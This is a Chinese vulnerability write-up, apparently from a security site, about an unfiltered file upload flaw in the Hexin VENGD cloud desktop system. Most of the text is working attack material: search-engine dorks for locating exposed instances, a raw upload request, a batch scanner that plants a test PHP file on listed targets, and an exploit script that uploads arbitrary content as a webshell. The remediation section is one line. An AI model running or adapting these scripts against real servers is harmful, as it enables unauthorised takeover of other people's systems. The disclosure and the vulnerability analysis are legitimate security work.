5.2 VESystem_VENGD_fileUpload_POC.py
5.3 VESystem_VENGD_fileUpload_EXP.py
声明:以下脚本具有攻击性,请勿非法使用,否则后果自负。请勿进行非授权测试,否则后果自负。
1.漏洞概述
和信创天下一代云桌面系统融合了VDI、VOI、IDV三大架构优势的云桌面产品,实现了前后端混合计算,兼顾移动办公和窄带环境下3D高清播放和外设硬件全兼容,满足大规模终端的管理、安全、运维需求。
2021HW期间,爆出和信创天下一代云桌面爆出文件上传漏洞,攻击者可利用该漏洞写入php恶意代码,从而控制服务器。
2.漏洞分析
漏洞存在/Upload/upload_file.php文件中,由于没有做任何过滤,直接上传。漏洞代码:
$target_path=$_SERVER["DOCUMENT_ROOT"]."/Upload/".$l."/".$_FILES["file"]["name"];
漏洞分析可参考:https://forum.butian.net/share/80
3.影响版本
未知(20210408之前版本)
4.漏洞等级
高危
5.漏洞复现
5.1 FOFA实战复现
关键词:
body="和信下一代云桌面"
zoomEy:title:和信下一代云桌面
POST Payload:
POST /Upload/upload_file.php?l=filename HTTP/1.1 Host: x.x.x.x:x User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,fil;q=0.8 Cookie: think_language=zh-cn; PHPSESSID_NAMED=h9j8utbmv82cb1dcdlav1cgdf6 Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfcKRltGv Content-Length: 189 ------WebKitFormBoundaryfcKRltGv Content-Disposition: form-data; name="file"; filename="filename.php" Content-Type: image/avif------WebKitFormBoundaryfcKRltGv--



5.2 VESystem_VENGD_fileUpload_POC.py
#!/usr/bin/python
# Env: python3
# Author: afei00123
# -*- coding: utf8 -*-
import requests, urllib3, time, re, argparse
from colorama import init
init(autoreset=True)
def title():
print("")
print('*'.center(60, '*'))
print("和信下一代云桌面VENGD(版本未知)".center(40))
print("github:https://github.com/ltfafei".center(50))
print("gitee:https://gitee.com/afei00123".center(50))
print("CSDN: afei00123.blog.csdn.net".center(50))
print("公众号:网络运维渗透".center(40))
print("")
print('*'.center(60, '*'))
print("")
class VESystem_VENGD_RCE_POC():
def VENGD_RCE_POC(self, url):
target_url = f"{url}/Upload/upload_file.php?l=atest"
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36",
"accept": "image/avif,image/webp,image/apng,image/*,*/*;q=0.8",
"Accept-Language": "zh-CN,zh; q=0.9, fil; q=0.8",
"Cookie": "think_language=zh-cn; PHPSESSID_NAMED=h9j8utbmv82cb1dcdlav1cgdf6",
"Accept-Encoding": "gzip, deflate",
"Connection": "close",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryfcKRltGv"
}
payload = '''------WebKitFormBoundaryfcKRltGv
Content-Disposition: form-data; name="file"; filename="atest.php"
Content-Type: image/avif
afeicome
------WebKitFormBoundaryfcKRltGv--'''
try:
requests.post(target_url, headers=headers, data=payload, timeout=2)
try:
repon_data = requests.get(f"{url}/Upload/atest/atest.php", timeout=2).text
res = re.search(r"afeicome", repon_data).group()
if res == "afeicome":
print(f"33[31m[+] {url}存在文件上传漏洞!")
with open("VENGD_vuln.txt", "a+") as f:
f.writelines(url + "\n")
except Exception as e:
print(f"[n] {url}不存在该漏洞。")
return url
except Exception as e:
print(f"[n] {url}请求失败!")
return url
def VENGD_RCE_Batch_Check(self, url, file):
if url:
return True
elif file:
for url in file:
url = url.replace('\n', '')
time.sleep(1)
self.VENGD_RCE_POC(url)
if(__name__ == "__main__"):
title()
parser = argparse.ArgumentParser(description="VESystem VENGD RCE POC")
parser.add_argument(
'-u', '--url', type=str,
help='Please input target url. eg: https://ip:port'
)
parser.add_argument(
'-f', '--file', type=argparse.FileType('r'),
help='Please input urls file path. eg: c:\\urls.txt'
)
args = parser.parse_args()
run_POC = VESystem_VENGD_RCE_POC()
if args.file:
run_POC.VENGD_RCE_Batch_Check(args.url, args.file)
print("\n[done] 批量探测完成,请查看:VENGD_vuln.txt")
if args.url:
run_POC.VENGD_RCE_POC(args.url)
5.3 VESystem_VENGD_fileUpload_EXP.py
#!/usr/bin/python
# Env: python3
# Author: afei00123
# -*- coding: utf8 -*-
import requests, urllib3, argparse
from colorama import init
init(autoreset=True)
def title():
print("")
print('*'.center(60, '*'))
print("和信下一代云桌面VENGD(版本未知)".center(40))
print("github:https://github.com/ltfafei".center(50))
print("gitee:https://gitee.com/afei00123".center(50))
print("CSDN: afei00123.blog.csdn.net".center(50))
print("公众号:网络运维渗透".center(40))
print("")
print('*'.center(60, '*'))
print("")
def VENGD_RCE_EXP(url, payload):
target_url = f"{url}/Upload/upload_file.php?l=comm"
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36",
"accept": "image/avif,image/webp,image/apng,image/*,*/*;q=0.8",
"Accept-Language": "zh-CN,zh; q=0.9, fil; q=0.8",
"Cookie": "think_language=zh-cn; PHPSESSID_NAMED=h9j8utbmv82cb1dcdlav1cgdf6",
"Accept-Encoding": "gzip, deflate",
"Connection": "close",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryfcKRltGv"
}
payload = f'''------WebKitFormBoundaryfcKRltGv
Content-Disposition: form-data; name="file"; filename="comm.php"
Content-Type: image/avif
{payload}
------WebKitFormBoundaryfcKRltGv--'''
try:
state = requests.post(target_url, headers=headers, data=payload, timeout=2).status_code
if state == 200:
print(f"[+] Webshell上传成功,Webshell地址:{url}/Upload/comm/comm.php")
except Exception as e:
print(f"[n] Webshell上传失败!", e)
exit()
if(__name__ == "__main__"):
title()
parser = argparse.ArgumentParser(description="VESystem VENGD RCE EXP")
parser.add_argument(
'-u', '--url', type=str, required='True',
help='Please input target url. eg: https://ip:port'
)
parser.add_argument(
'-p', '--payload', type=str, required='True',
help='Please input content for upload. eg: '
)
args = parser.parse_args()
VENGD_RCE_EXP(args.url, args.payload)
5.漏洞修复
建议联系厂商进行升级或者打补丁。
厂商官网:https://www.vesystem.com/
本文作者:阿飞
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/158674.html
必填 您当前尚未登录。 登录? 注册
必填(保密)